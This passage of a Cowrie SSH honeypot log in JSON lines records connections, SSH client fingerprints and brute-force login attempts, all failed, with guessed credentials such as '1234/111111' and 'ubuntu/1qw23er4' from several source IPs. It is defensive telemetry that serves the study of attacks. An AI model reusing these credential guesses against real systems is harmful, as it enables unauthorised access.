sh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:11:46.787092Z","src_ip":"159.203.92.129","session":"4f0d6c45e2c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"10","password":"123456","message":"login attempt [10/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:11:46.797938Z","src_ip":"159.203.92.129","session":"4f0d6c45e2c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:11:47.805531Z","src_ip":"159.203.92.129","session":"4f0d6c45e2c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":56542,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b2ee57834a1","protocol":"ssh","message":"New connection: 27.119.7.6:56542 (10.17.0.5:22) [session: 0b2ee57834a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:12:13.804256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:12:13.809389Z","src_ip":"27.119.7.6","session":"0b2ee57834a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:12:13.998079Z","src_ip":"27.119.7.6","session":"0b2ee57834a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git!2023","message":"login attempt [git/git!2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:12:14.787743Z","src_ip":"27.119.7.6","session":"0b2ee57834a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:12:15.981403Z","src_ip":"27.119.7.6","session":"0b2ee57834a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46302,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad70df014686","protocol":"ssh","message":"New connection: 159.203.92.129:46302 (159.203.135.109:22) [session: ad70df014686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:12:29.393551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:12:29.402197Z","src_ip":"159.203.92.129","session":"ad70df014686","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:12:29.417806Z","src_ip":"159.203.92.129","session":"ad70df014686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1","message":"login attempt [1234/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:12:29.431450Z","src_ip":"159.203.92.129","session":"ad70df014686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:12:30.441609Z","src_ip":"159.203.92.129","session":"ad70df014686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37712,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4af0f787d29","protocol":"ssh","message":"New connection: 159.203.92.129:37712 (159.203.135.109:22) [session: b4af0f787d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:13:12.726498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:13:12.731370Z","src_ip":"159.203.92.129","session":"b4af0f787d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:13:12.736469Z","src_ip":"159.203.92.129","session":"b4af0f787d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"111111","message":"login attempt [1234/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:13:12.749511Z","src_ip":"159.203.92.129","session":"b4af0f787d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:13:13.776600Z","src_ip":"159.203.92.129","session":"b4af0f787d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35328,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3f2a592205c","protocol":"ssh","message":"New connection: 159.203.92.129:35328 (159.203.135.109:22) [session: e3f2a592205c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:13:56.327006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:13:56.333715Z","src_ip":"159.203.92.129","session":"e3f2a592205c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:13:56.342356Z","src_ip":"159.203.92.129","session":"e3f2a592205c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1111111","message":"login attempt [1234/1111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:13:56.353853Z","src_ip":"159.203.92.129","session":"e3f2a592205c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:13:57.360373Z","src_ip":"159.203.92.129","session":"e3f2a592205c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":44968,"dst_ip":"10.17.0.5","dst_port":22,"session":"1392838e89f6","protocol":"ssh","message":"New connection: 27.119.7.6:44968 (10.17.0.5:22) [session: 1392838e89f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:14:12.102289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:14:12.108258Z","src_ip":"27.119.7.6","session":"1392838e89f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:14:12.312170Z","src_ip":"27.119.7.6","session":"1392838e89f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qw23er4","message":"login attempt [ubuntu/1qw23er4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:14:13.117461Z","src_ip":"27.119.7.6","session":"1392838e89f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:14:14.310545Z","src_ip":"27.119.7.6","session":"1392838e89f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51316,"dst_ip":"159.203.135.109","dst_port":22,"session":"30aaf010f57d","protocol":"ssh","message":"New connection: 159.203.92.129:51316 (159.203.135.109:22) [session: 30aaf010f57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:14:40.006390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:14:40.011308Z","src_ip":"159.203.92.129","session":"30aaf010f57d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:14:40.016031Z","src_ip":"159.203.92.129","session":"30aaf010f57d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"11111111","message":"login attempt [1234/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:14:40.034196Z","src_ip":"159.203.92.129","session":"30aaf010f57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:14:41.040844Z","src_ip":"159.203.92.129","session":"30aaf010f57d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":15634,"dst_ip":"10.17.0.5","dst_port":22,"session":"d11b1cf8f07a","protocol":"ssh","message":"New connection: 194.59.206.2:15634 (10.17.0.5:22) [session: d11b1cf8f07a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:14:56.204698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:14:56.497004Z","src_ip":"194.59.206.2","session":"d11b1cf8f07a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:14:56.500852Z","src_ip":"194.59.206.2","session":"d11b1cf8f07a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:14:56.787652Z","src_ip":"194.59.206.2","session":"d11b1cf8f07a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.39","src_port":32866,"dst_ip":"10.17.0.5","dst_port":22,"session":"90c9f2f1e095","protocol":"ssh","message":"New connection: 31.56.209.39:32866 (10.17.0.5:22) [session: 90c9f2f1e095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:15:23.586844Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54406,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dfeceb6ba28","protocol":"ssh","message":"New connection: 159.203.92.129:54406 (159.203.135.109:22) [session: 0dfeceb6ba28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:15:24.356471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:15:24.361403Z","src_ip":"159.203.92.129","session":"0dfeceb6ba28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1